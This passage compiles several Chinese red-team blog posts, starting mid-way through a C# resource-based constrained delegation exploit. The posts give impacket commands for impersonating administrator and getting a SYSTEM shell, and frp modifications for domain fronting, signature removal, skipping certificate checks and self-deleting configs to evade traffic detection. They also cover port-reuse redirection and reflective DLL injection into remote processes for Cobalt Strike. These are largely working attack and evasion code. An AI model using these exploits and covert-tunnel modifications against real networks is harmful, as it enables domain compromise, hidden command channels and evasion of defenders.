                    Console.Out.WriteLine("[+] " + new_MachineAccount + " SID : " + sid.Value);
                }
                catch
                {
                    Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");
                    return;
                }
            }
            //设置资源约束委派
            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("test.local");
            myldapConnection.Path = victimcomputer_ldap_path;
            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;
            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);
            //通过ldap找计算机
            search.Filter = "(CN=" + victimcomputer + ")";
            string[] requiredProperties = new string[] { "samaccountname" };
            foreach (String property in requiredProperties)
                search.PropertiesToLoad.Add(property);
            System.DirectoryServices.SearchResult result = null;
            try
            {
                result = search.FindOne();
            }
            catch (System.Exception ex)
            {
                Console.WriteLine(ex.Message + "Exiting...");
                return;
            }
            if (result != null)
            {
                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();
                String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";
                System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);
                byte[] descriptor_buffer = new byte[sd.BinaryLength];
                sd.GetBinaryForm(descriptor_buffer, 0);
                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中
                entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;
                try
                {
                    entryToUpdate.CommitChanges();//提交更改
                    Console.WriteLine("[+] Exploit successfully!");
                }
                catch (System.Exception ex)
                {
                    Console.WriteLine(ex.Message);
                    Console.WriteLine("[!] \nFailed...");
                    return;
                }
            }
        }
    }
}

impacket 套件中的 getST.py 申请票据，导入票据执行命令

1
2
3

python3 getST.py -dc-ip 192.168.247.8 test.local/testpc1\$:123456 -spn cifs/WIN10.test.local -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k WIN10.test.local

system权限上线就可以愉快的执行mimikatz了。

0x03 其他攻击场景

• 一个公司可能会有一个专门用来加域的账号，虽然这个账户通常只有普通域用户权限，但是如果我们控制了这个账户那么就可以打下一大批机器。
• 如果我们想拿域内机器A的权限，如果我们又没有机器A administrators 组成员凭据的话还可以看机器A是通过哪个用户加入域的，控制了这个用户依然可以获取权限。
• 一个域用户X 可能会在域中创建多台机器(比如笔记本和台式机都需要加入域)，当我们有了域用户X的权限时，可以利用rbcd继续攻击其他mS-DS-CreatorSID是域用户X的机器。

0x04 参考链接

https://mp.weixin.qq.com/s/Ue2ULu8vxYHrYEalEzbBSw

https://mp.weixin.qq.com/s/rXqSfjTFUQJsirkhi1hmHQ

https://daiker.gitbook.io/

https://www.cnblogs.com/car7n/p/14789004.html

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://xz.aliyun.com/t/8690#toc-73

之前@Wfox师傅在群里提到“通过websocket协议让FRP用上域前置，可以隐藏真实服务ip地址”。最近没有项目，重新进行一下frp改造计划。

可行性证明

先用dns域名解析来证明域前置方案在frp上是可行的，这里也可以直接修改本地hosts文件来实现dns域名解析的效果。

比如我们用如下frpc.ini

1
2
3
4
5
6
7
8
9
10
11

[common]
server_addr = dwnwdqndlnqwln2321321.com
server_port = 23333
token = uknowsec
protocol = websocket
tls_enable = true

[http_proxy]
type = tcp
remote_port = 10002
plugin = socks5

让frpc认证数据包走websocket协议。

可以看到认证是通过websocket协议，这里特别标注出来了Host头，要实现域前置，我们只要把host修改为我们的指定回源域名即可。所以证明了“通过websocket协议让FRP用上域前置”是可行的。

Websocket依赖修改

跟进frp源码，我们可以到websocket依赖包websocket/hybi.go文件下的hybiClientHandshake函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

func hybiClientHandshake(config *Config, br *bufio.Reader, bw *bufio.Writer) (err error) {
bw.WriteString("GET " + config.Location.RequestURI() + " HTTP/1.1\r\n")

// According to RFC 6874, an HTTP client, proxy, or other
// intermediary must remove any IPv6 zone identifier attached
// to an outgoing URI.
bw.WriteString("Host: " + removeZone(config.Location.Host) + "\r\n")
bw.WriteString("Upgrade: websocket\r\n")
bw.WriteString("Connection: Upgrade\r\n")
nonce := generateNonce()
if config.handshakeData != nil {
nonce = []byte(config.handshakeData["key"])
}
bw.WriteString("Sec-WebSocket-Key: " + string(nonce) + "\r\n")
bw.WriteString("Origin: " + strings.ToLower(config.Origin.String()) + "\r\n")

...
return nil
}

可以看到Host是通过config.Location.Host进行赋值的，我们再一步一步的往回看调用即可。

同时frp调用websocket依赖在pkg/util/net/websocket.go里的ConnectWebsocketServer方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

func ConnectWebsocketServer(addr string) (net.Conn, error) {
addr = "ws://" + addr + FrpWebsocketPath
uri, err := url.Parse(addr)
if err != nil {
return nil, err
}

origin := "http://" + uri.Host
cfg, err := websocket.NewConfig(addr, origin)
if err != nil {
return nil, err
}
cfg.Dialer = &net.Dialer{
Timeout: 10 * time.Second,
}

conn, err := websocket.DialConfig(cfg)
if err != nil {
return nil, err
}
return conn, nil
}

所以只需要在往websocket.NewConfig多传入一个指定的host参数即可。

新加入的host参数只要在cmd/frpc/sub/root.go的RegisterCommonFlags里进行注册即可。

测试效果

这样我们就实现了通过websocket协议让FRP用上域前置。

WSS实现

由上图，可见用websocket还是特征比较明显的，比如/~!frp。这里我们可以通过如下修改

pkg/util/net/websocket.go下的变量即可。

1
2
3

const (
FrpWebsocketPath = "/~!frp"
)

同时，我们也修改frp使之实现wss协议。

@Wfox师傅提醒frp有人pull了支持wss协议的修改代码。

https://github.com/fatedier/frp/pull/1919/files

通过pull里的修改就可以实现wss协议了

同时由于在某云域前置里，用wss协议的情况下，server_addr用域名会不能正常回源，只能用ip。且会存在证书报错。

这里可以通过做如下修改pkg/util/net/websocket.go里的ConnectWebsocketServer函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

// addr: domain:port
func ConnectWebsocketServer(addr string, websocket_domain string, isSecure bool) (net.Conn, error) {
if isSecure {
ho := strings.Split(addr, ":")
ip, err := net.ResolveIPAddr("ip", ho[0])
ip_addr := ip.String() + ":" + ho[1]
if err != nil {
return nil, err
}
addr = "wss://" + ip_addr + FrpWebsocketPath
} else {
addr = "ws://" + addr + FrpWebsocketPath
}
uri, err := url.Parse(addr)
if err != nil {
return nil, err
}

var origin string
if isSecure {
ho := strings.Split(uri.Host, ":")
ip, err := net.ResolveIPAddr("ip", ho[0])
ip_addr := ip.String() + ":" + ho[1]
if err != nil {
return nil, err
}
origin = "https://" + ip_addr
} else {
origin = "http://" + uri.Host
}

cfg, err := websocket.NewConfig(addr, origin, websocket_domain)
if err != nil {
return nil, err
}
cfg.Dialer = &net.Dialer{
Timeout: 10 * time.Second,
}

conn, err := websocket.DialConfig(cfg)
if err != nil {
return nil, err
}
return conn, nil
}

用net.ResolveIPAddr先获取域名所对应ip地址，再进行wss和https协议的使用即可。

另外修复证书错误问题。

修改websocket/dial.go里的dialWithDialer方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

func dialWithDialer(dialer *net.Dialer, config *Config) (conn net.Conn, err error) {
switch config.Location.Scheme {
case "ws":
conn, err = dialer.Dial("tcp", parseAuthority(config.Location))

case "wss":
config.TlsConfig = &tls.Config{
InsecureSkipVerify: true,
}
conn, err = tls.DialWithDialer(dialer, "tcp", parseAuthority(config.Location), config.TlsConfig)

default:
err = ErrBadScheme
}
return
}

当使用wss协议的时候，将TlsConfig.InsecureSkipVerify设置为true，即可忽略证书错误了。

测试效果

可见图中的认证数据包已经以wss进行认证了。

配置文件自删除

在其中看@lz520520师傅的文章里看到

https://sec.lz520520.cn:4430/2020/11/566/#0x03

只要读取后删除配置文件就好了呀，这个就很简单，我多添加了一个配置文件参数delete，用于判断是否自动删除配置文件。

这一点还是不错的，添加参数，读取完配置文件启动frpc后，自动删除配置文件。

同样相同的方法在cmd/frpc/sub/root.go的RegisterCommonFlags里进行注册参数即可。

然后在cmd/frpc/sub/root.go里的startService方法里进行判断调用删除配置文件即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

func startService(
cfg config.ClientCommonConf,
pxyCfgs map[string]config.ProxyConf,
visitorCfgs map[string]config.VisitorConf,
cfgFile string,
) (err error) {

log.InitLog(cfg.LogWay, cfg.LogFile, cfg.LogLevel,
cfg.LogMaxDays, cfg.DisableLogColor)

if cfg.DNSServer != "" {
s := cfg.DNSServer
if !strings.Contains(s, ":") {
s += ":53"
}
// Change default dns server for frpc
net.DefaultResolver = &net.Resolver{
PreferGo: true,
Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
return net.Dial("udp", s)
},
}
}
svr, errRet := client.NewService(cfg, pxyCfgs, visitorCfgs, cfgFile)
if errRet != nil {
err = errRet
return
}
if cfg.DELEnable == true {
os.Remove(cfgFile)
}
// Capture the exit signal if we use kcp.
if cfg.Protocol == "kcp" {
go handleSignal(svr)
}

err = svr.Run()
if cfg.Protocol == "kcp" {
<-kcpDoneCh
}
return
}

这样就可以实现配置文件自动删除功能了。

Github

没有环境或无法正常编译可直接到github下载

https://github.com/uknowsec/frpModify

Reference

https://github.com/fatedier/frp/pull/1919/files

https://sec.lz520520.cn:4430/2020/11/566/

规律：

• 每一个String Binding都以\x07\x00开头。
• 每一个StringBinding都以\x00\x00分割，一直到第一个Security Binding是\x09\x00开头。

因此，当recv的数据直到\x09\x00结束，开头就比较好办了，第四个数据包起始位置往后偏移42个字节就可以到达第一个String Binding。

C++

OXID_Find by C++（多线程） 通过OXID解析器获取Windows远程主机上网卡地址

https://github.com/uknowsec/OXID_Find

1
2
3
4
5
6

> OXID_Find.exe

Author: Uknow
Github: https://github.com/uknowsec/OXID_Find
usage: OXID_Find.exe -i 192.168.0.1
usage: OXID_Find.exe -c 192.168.0.1/24

Csharp

OXID_Find by Csharp（多线程） 通过OXID解析器获取Windows远程主机上网卡地址 From @RcoIl

学习@RcoIl师傅的代码SharpOXID-Find,加了个多线程，支持cidr格式传入ip地址。

强推一波@RcoIl师傅charp代码库CSharp-Tools。

https://github.com/uknowsec/SharpOXID-Find

1
2
3
4

> SharpOXID-Find.exe

usage: SharpOXID_Find.exe -i 192.168.0.1
usage: SharpOXID_Find.exe -c 192.168.0.1/24

Python

https://github.com/Rvn0xsy/OXID-Find/

1
2
3
4

> python2 finsubnet.py

usage: finsubnet.py [-h] -i IP [-t THREADS] [-o OUTPUT]
finsubnet.py: error: argument -i/--ip is required

References

https://payloads.online/archivers/2020-07-16/1

前段日子A-team群里的师傅sunshine，讲到了一个端口复用的方案，并发了几个工具，这里简单记录实践一下。

frsocks+protoplex+流量重定向实现端口复用

frsocks

https://github.com/3gstudent/Homework-of-Go/blob/master/frsocks.go

监听本地的2333端口开启一个socks5代理，这里也可以用其他工具，如ew，frp等等。

1

./frsocks -sockstype fsocks -listen 2333

protoplex

https://github.com/Pandentia/protoplex

这是一个协议复用的工具，比如命令可将本地9999端口的流量根据协议类型转到本地的2333和80端口。

注: 在实战环境中，先用protoplex进行分流，然后再进行重定向。

1

./protoplex --socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999

注: protoplex设置分流的http协议IP和重定向的ip不要设置为同一个ip,否则会形成闭环。

同时该工具还支持其他协议的分流，如：

• SSH
• HTTP
• TLS (/ HTTPS)
• OpenVPN
• SOCKS4 / SOCKS5

流量重定向

linux

将访问80的流量重定向到9999端口

1

sudo iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 9999

windows

将本地80流量重定向到9999

1
2

netsh interface portproxy add v4tov4 listenport=80 listen
address=192.168.154.129 connectport=9999 connectaddress=192.168.154.129

相关操作命令：

显示系统中的转发规则列表：

1

netsh interface portproxy show all

删除指定的端口转发规则：

1

netsh interface portproxy delete v4tov4 listenport=80 listenaddress=192.168.154.129

清除所有当前的端口转发规则：

1

netsh interface portproxy reset

注: 必要的情况下，可以设置特定来源ip进行流量重定向。

效果

结语

站在巨人的肩膀上。

本文思路和工具都来自sunshine，仅仅记录分享一下。

Cobalt Strike已经成了目前工作中经常用渗透工具了，通常我们会通过写一下插件来武装自己的Cobalt Strike，比如我们会用bexecute_assembly来对自己编写的Csharp进行内存加载实现不落地。那么其他语言的呢？同样也提供了bdllspawn来反射DLL。本文章主要讲的就是利用反射DLL来武装自己的Cobalt Strike。

C++ ReflectiveDLL

首先将C/C++编写的程序如何进行ReflectiveDLL，Cobalt Strike的bdllspawn是基于项目ReflectiveDLLInjection实现的。我们只需要把C++编写的功能写到ReflectiveDll.c里即可，这里参考倾旋师傅的文章和工具。改写ReflectiveDll.c来实现传参。

参数转换

引用与定义

1
2
3
4
5
6
7
8
9
10

#include "ReflectiveLoader.h"
#include <string>
#include <shellapi.h>
#pragma comment(lib, "Shell32.lib")

std::string szargs;
std::wstring wszargs;
std::wstring wsHostFile;
int argc = 0;
LPWSTR* argv = NULL;

参数类型转换

在ReflectiveDll.c里是通过DLLMain函数的lpReserved来当做参数传递，我们可以做一个类型的转换，将lpReserved转换成命令行参数格式。

1
2
3

szargs = (PCHAR)lpReserved;
wszargs = StringToWString(szargs);
argv = CommandLineToArgvW(wszargs.data(), &argc);

功能编写

在转换参数后，我们就可以把一些C++功能代码写入，我这就简单编写一个参数输出功能，进行测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

hAppInstance = hinstDLL;
printf("C++ ReflectiveDLL\n");

/* print some output to the operator */
if (lpReserved != NULL) {
szargs = (PCHAR)lpReserved;
wszargs = StringToWString(szargs);
argv = CommandLineToArgvW(wszargs.data(), &argc);
}
if (argv == NULL) {
printf("[+] Error Arguments ! \n");
break;
}
printf("[+] Args Count : %d \n", argc);
for (size_t i = 0; i < argc; i++)
{
wprintf(TEXT("[%d] %s \n"), i, argv[i]);
}

/* flush STDOUT */
fflush(stdout);

/* we're done, so let's exit */
ExitProcess(0);
break;

Aggressor Script

编译ReflectiveDll.c得到一个dll文件，然后编写一个Aggressor Script脚本来加载它。

Aggressor Script脚本提供了一些关于反射DLL的接口：https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn

1
2
3
4

alias hello {
$args = substr($0, 6);
bdllspawn($1, script_resource("reflective_dll.dll"),$args, "test dll", 5000, false);
}

测试效果

这样我们就实现了将c++编写的dll通过ReflectiveDll来实现不落地传参执行了。

Golang ReflectiveDLL

Golang也成了现在一些安全工作者用得比较多的一种语言了，使用Golang开发的安全工具也越来越多，所以我们也可以通过ReflectiveDLL来对Golang程序进行利用。

这里参考WBGlIl师傅的项目go-ReflectiveDLL和国外大佬的文章Weaponizing your favorite Go program for Cobalt Strike。

特别感谢一下WBGlIl师傅，在我遇到问题的时候给予我的帮助~

main.go

参考WBGlIl师傅的项目，将main.go改成一个传入参数并输出参数的功能，并将test函数设置为导出函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

package main

import "C"

import (
"fmt"
"os"
gsq "github.com/kballard/go-shellquote"
)



//export test
func test(arg string) {

args, err := gsq.Split(arg)
if err == nil {
fmt.Println("Golang ReflectiveDLL")
os.Args = args
fmt.Printf("Args Count %d\n",len(os.Args))
for i := 0; i < len(os.Args); i++ {
fmt.Printf("[%d] %s\n",i,os.Args[i])
}
}
}

func main()  {

}

dllmain.c

参考老外文章将lpReserved转换为 GoString，传入到dll的导出函数test里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

#include "dllmain.h"
#include<Windows.h>


BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpReserved)   // reserved
{
    switch (fdwReason) {
case DLL_PROCESS_ATTACH:
        {
            GoString goArgs = {0};
            if(lpReserved != NULL){
                goArgs.p = (char*)lpReserved;
                goArgs.n = strlen(lpReserved);
            }else{
                goArgs.p = "";
                goArgs.n = 0;
            }
            test(goArgs);
        }
        break;
    case DLL_PROCESS_DETACH:
        // Perform any necessary cleanup.
        break;
    case DLL_THREAD_DETACH:
        // Do thread-specific cleanup.
        break;
    case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
        break;
    }
    return TRUE; // Successful.
}

然后运行WBGlIl师傅的项目里的x64.bat来进行编译得到dll文件，但是Golang有一个最大的缺点就是编译出来的文件特别大，这里一个简单的输入输出工具生成的dll就有差不多2M。而在Cobalt Strike限制了反射DLL的DLL大小必须在1M以内，所以这里我们不能用Cobalt Strike进行测试。

Inject.c修改

​ ReflectiveDLLInjection项目中的inject是不能给DLL进行传参的，所以我们这里需要修改代码来进行传参。

注入当前进程

如果对当前进程进行注入可以修改代码，将输入参数传入到LoadRemoteLibraryR函数的第四个参数即可。

1
2

LPVOID lpParameter = argv[3];
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, lpParameter);

注入到其他进程

如果注入到其他进程的话，需要将参数写入到目标进程得到一个参数指针，再讲这个指针传入LoadRemoteLibraryR函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

lpRemoteMem = arg;
// 申请内存
argSize = strlen(arg);
lpRemoteMem = VirtualAllocEx(hProcess, NULL, argSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!lpRemoteMem)
{
BREAK_WITH_ERROR("\t\t[!] FAILED to allocate memory in process.\n");
CloseHandle(hProcess);
break;
}

printf("[+] Memory allocated at : 0x%d in process %d\n", lpRemoteMem, dwProcessId);
printf("[+] Attempting to write parameter in  process %d \n", dwProcessId);


//将参数写入目标进程
bWriteSuccess = WriteProcessMemory(hProcess, lpRemoteMem, arg, argSize, &numBytes);

if (!bWriteSuccess)
{
printf("[!] FAILED to write parameter. Wrote %d  bytes instead of %d bytes.\n ", numBytes ,argSize);

CloseHandle(hProcess);
break;
}
printf("[+] Wrote parameter in remote process %d memory.\n", dwProcessId);

//将参数指针传入
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, lpRemoteMem);
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );

printf( "[+] Injected the '%s' DLL into process %d.\n", cpDllFile, dwProcessId);

因为这里是注入到了其他进程里，所以当前进程是没有输出的。如果需要输出的话，可以修改DLL文件和Inject.c，即当前进程和DLL注入的进程之间用命名管道进行通信。这里以C++写的DLL为例。

inject.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

//接收

srand(time(NULL));

char buf[256] = "";
DWORD rlen = 0;
HANDLE hPipe = CreateNamedPipe(
TEXT("\\\\.\\Pipe\\mypipe"),//管道名
PIPE_ACCESS_DUPLEX,//管道类型 
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,//管道参数
PIPE_UNLIMITED_INSTANCES,//管道能创建的最大实例数量
0,//输出缓冲区长度 0表示默认
0,//输入缓冲区长度 0表示默认
NMPWAIT_WAIT_FOREVER,//超时时间
NULL);//指定一个SECURITY_ATTRIBUTES结构,或者传递零值.
if (INVALID_HANDLE_VALUE == hPipe)
{
printf("[+] Create Pipe Error(%d)\n", GetLastError());
}
else
{
printf("[+] Create Pipe Success\n");
printf("[+] Waiting For Client Connection...\n");
if (ConnectNamedPipe(hPipe, NULL) == NULL)//阻塞等待客户端连接。
{
printf("[+] Connection failed!\n");
}
else
{
printf("[+] Connection Success!\n");
}
printf("[+] Data From Pipe :\n\n");
while (1)
{
if (ReadFile(hPipe, buf, 256, &rlen, NULL)) //接受客户端发送过来的内容
{
printf("\t%s", buf);
}
else
{
printf("\n[+] Read Data From Pipe End!\n");
break;
}
}
CloseHandle(hPipe);//关闭管道
}

ReflectiveDll.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

//利用命名管道传输
srand(time(NULL));
DWORD wlen = 0;

BOOL bRet = WaitNamedPipe(TEXT("\\\\.\\Pipe\\mypipe"), NMPWAIT_WAIT_FOREVER);

if (!bRet)
{
printf("connect the namedPipe failed!\n");
break;
}

HANDLE hPipe = CreateFile(//管道属于一种特殊的文件
TEXT("\\\\.\\Pipe\\mypipe"),//创建的文件名
GENERIC_READ | GENERIC_WRITE,//文件模式
0,//是否共享
NULL,//指向一个SECURITY_ATTRIBUTES结构的指针
OPEN_EXISTING,//创建参数
FILE_ATTRIBUTE_NORMAL,//文件属性(隐藏,只读)NORMAL为默认属性
NULL);//模板创建文件的句柄


hAppInstance = hinstDLL;
char buf[256] = "";
sprintf(buf, "C++ ReflectiveDLL\n");
WriteFile(hPipe, buf, sizeof(buf), &wlen, 0);//向服务器发送内容

/* print some output to the operator */
if (lpReserved != NULL) {
szargs = (PCHAR)lpReserved;
wszargs = StringToWString(szargs);
argv = CommandLineToArgvW(wszargs.data(), &argc);
}
else {
sprintf(buf, "Hello from test.dll. There is no parameter\n");
WriteFile(hPipe, buf, sizeof(buf), &wlen, 0);//向服务器发送内容
}
if (argv == NULL) {
sprintf(buf, "[+] Error Arguments ! \n");
WriteFile(hPipe, buf, sizeof(buf), &wlen, 0);//向服务器发送内容
break;
}
sprintf(buf, "[+] Args Count : %d \n", argc);
WriteFile(hPipe, buf, sizeof(buf), &wlen, 0);//向服务器发送内容
for (size_t i = 0; i < argc; i++)
{
sprintf(buf, "[%d] %s \n", i, argv[i]);
WriteFile(hPipe, buf, sizeof(buf), &wlen, 0);//向服务器发送内容
}
CloseHandle(hPipe);//关闭管道

/* flush STDOUT */
fflush(stdout);

/* we're done, so let's exit */
ExitProcess(0);

这样就可以实现读取注入目标进程的输出了。

示例代码

https://github.com/uknowsec/ReflectiveDLLInjection-Notes

结语

在WBGlIl师傅的帮助下，学习了ReflectiveDLL。本意是想用于Cobalt Strike插件的开发，但是Golang编译后的文件过大，导致Cobalt Strike并不能进行加载反射。有请教过别的师傅如何解决这个问题，方案好像都必须得落地待反射的Golang DLL，效果并不是太好。同时在最近新发布的Cobalt Strike4.1中有了一个新功能Beacon Object File (BOF)，他可以解决文件过大的问题。

在官方文档help-beacon-object-files有如下的一段话：

BOFs are also very small. A UAC bypass privilege escalation Reflective DLL implementation may weigh in at 100KB+. The same exploit, built as a BOF, is <3KB. This can make a big difference when using bandwidth constrained channels, such as DNS.

所以现在就差一个Cobalt Strike4.1啦~

References

[1] bdllspawn: https://cobaltstrike.com/aggressor-script/functions.html#bdllspawn
[2] ReflectiveDLLInjection: https://github.com/stephenfewer/ReflectiveDLLInjection
[3] 倾旋: https://payloads.online/archivers/2020-03-02/1
[4] WBGlIl: https://wbglil.github.io/
[5] go-ReflectiveDLL: https://github.com/WBGlIl/go-ReflectiveDLL
[6] Weaponizing your favorite Go program for Cobalt Strike: https://ethicalchaos.dev/2020/01/26/weaponizing-your-favorite-go-program-for-cobalt-strike/
[7] help-beacon-object-files: https://www.cobaltstrike.com/help-beacon-object-files

frp无疑是众多代理工具中，用得最舒服的了。但是他还是存在几个缺点的。

• .ini配置文件泄露服务器信息。

• 非TLS特征明显

• golang编译打包后的体积过大

一直想改来着，但是一直拖着。前两天看到了吐司大佬发的frp讨论帖，于是下定决心改一下。

这里主要是对上面提到的前两个缺点进行改造，体积过大问题需要去整体的修改，减少他用到的一些依赖库和无用功能。

流量特征(非TLS)

在没有配置tls_enable = true

frpc在连接认证frps的时候回把frp的版本信息等等发给frps进行认证。

目前一些流量设备就通过这个特征来识别frp代理。

如上图，可以看到有如下几个字段值：version,hostname,arch,user,privilege_key,runid,metas

去除特征

去除的方法也很简单，只要把这些特征值修改一下就行了。

https://github.com/fatedier/frp

首先把frp的源码从github上下下来。

定位到认证信息的代码位置为：models/msg/msg.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

type Login struct {
Version      string            `json:"version"`
Hostname     string            `json:"hostname"`
Os           string            `json:"os"`
Arch         string            `json:"arch"`
User         string            `json:"user"`
PrivilegeKey string            `json:"privilege_key"`
Timestamp    int64             `json:"timestamp"`
RunId        string            `json:"run_id"`
Metas        map[string]string `json:"metas"`

// Some global configures.
PoolCount int `json:"pool_count"`
}

type LoginResp struct {
Version       string `json:"version"`
RunId         string `json:"run_id"`
ServerUdpPort int    `json:"server_udp_port"`
Error         string `json:"error"`
}

如上图，这里可以看到定义的结构里有认证时候用到的变量，和认证回显的变量。我们可以修改此处来去除特征。

如`json:"version"修改为json:"a"来逃避流量识别。

同时在这个go文件里还有其他的结构体。可以用同样的方法进行修改。

也可以修改字段的值，比如

1

Version      string            `json:"version"`

version这个变量的值。在Goland里跟进到这个变量被利用到的文件client/service.go。

1
2
3
4
5
6
7
8
9
10

loginMsg := &msg.Login{
Arch:      runtime.GOARCH,
Os:        runtime.GOOS,
PoolCount: svr.cfg.PoolCount,
User:      svr.cfg.User,
Version:   version.Full(),
Timestamp: time.Now().Unix(),
RunId:     svr.runId,
Metas:     svr.cfg.Metas,
}

再跟进version.Full()方法到utils\version\version.go

我们可以修改version变量的值即可，这个变量是frp的版本号。

1
2
3
4
5

var version string = "0.33.0"

func Full() string {
return version
}

另外变量值的修改可以通过同样的方法修改。

frp优化

最近在吐司看到有师傅发了frp的讨论帖子，其中说到几个点挺好的。这里简单的记录一下。

通过tls和算法加密frp流量

加密与压缩

1
2
3
4
5
6
7

# frpc.ini
[ssh]
type = tcp
local_port = 22
remote_port = 6000
use_encryption = true
use_compression = true

如果公司内网防火墙对外网访问进行了流量识别与屏蔽，例如禁止了 ssh 协议等，通过设置 use_encryption = true，将 frpc 与 frps 之间的通信内容加密传输，将会有效防止流量被拦截。

如果传输的报文长度较长，通过设置 use_compression = true 对传输内容进行压缩，可以有效减小 frpc 与 frps 之间的网络流量，加快流量转发速度，但是会额外消耗一些 cpu 资源。

TLS

从 v0.25.0 版本开始 frpc 和 frps 之间支持通过 TLS 协议加密传输。通过在 frpc.ini 的 common 中配置 tls_enable = true 来启用此功能，安全性更高。
为了端口复用，frp 建立 TLS 连接的第一个字节为 0x17。
通过将 frps.ini 的 [common] 中 tls_only 设置为 true，可以强制 frps 只接受 TLS 连接。

注意: 启用此功能后除 xtcp 外，不需要再设置 use_encryption。

frpc.ini写入源码

修改文件cmd\frpc\sub\root.go里的代码

把frpc.ini配置内容写到上面定义里。

1
2
3
4
5
6
7
8
9

[common]
server_addr=1.1.1.1
server_port=2333
privilege_token = pentest
tls_enable = true
[http_proxy]
type = tcp
remote_port = 23333
plugin = socks5

结果如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

var (
cfgFile     string
showVersion bool
fileContent string = `[common]
    server_addr = 1.1.1.1
    server_port = 2333
    privilege_token = pentest
    tls_enable = true
    [http_proxy]
    type = tcp
    remote_port = 23333
    plugin = socks5
`
serverAddr      string
user            string
protocol        string
token           string
logLevel        string
logFile         string
logMaxDays      int
disableLogColor bool

proxyName         string
localIp           string
localPort         int
remotePort        int
useEncryption     bool
useCompression    bool
customDomains     string
subDomain         string
httpUser          string
httpPwd           string
locations         string
hostHeaderRewrite string
role              string
sk                string
multiplexer       string
serverName        string
bindAddr          string
bindPort          int

kcpDoneCh chan struct{}
)

修改代码：cmd/frpc/sub/status.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

var statusCmd = &cobra.Command{
Use:   "status",
Short: "Overview of all proxies status",
RunE: func(cmd *cobra.Command, args []string) error {
//iniContent, err := config.GetRenderedConfFromFile(cfgFile)
iniContent:= fileContent
/*if err != nil {
fmt.Println(err)
os.Exit(1)
}*/

clientCfg, err := parseClientCommonCfg(CfgFileTypeIni, iniContent)
if err != nil {
fmt.Println(err)
os.Exit(1)
}

err = status(clientCfg)
if err != nil {
fmt.Printf("frpc get status error: %v\n", err)
os.Exit(1)
}
return nil
},
}

修改代码：cmd/frpc/sub/reload.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

var reloadCmd = &cobra.Command{
Use:   "reload",
Short: "Hot-Reload frpc configuration",
RunE: func(cmd *cobra.Command, args []string) error {
//iniContent, err := config.GetRenderedConfFromFile(cfgFile)
iniContent:=  fileContent
   
/*if err != 0 {
fmt.Println(err)
os.Exit(1)
}*/

clientCfg, err := parseClientCommonCfg(CfgFileTypeIni, iniContent)
if err != nil {
fmt.Println(err)
os.Exit(1)
}

err = reload(clientCfg)
if err != nil {
fmt.Printf("frpc reload error: %v\n", err)
os.Exit(1)
}
fmt.Printf("reload success\n")
return nil
},
}

修改代码：cmd/frpc/sub/root.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

func runClient(cfgFilePath string) (err error) {
var content string
//content, err = config.GetRenderedConfFromFile(cfgFilePath)
content, err = fileContent, nil
if err != nil {
return
}

cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)
if err != nil {
return
}

pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start)
if err != nil {
return err
}

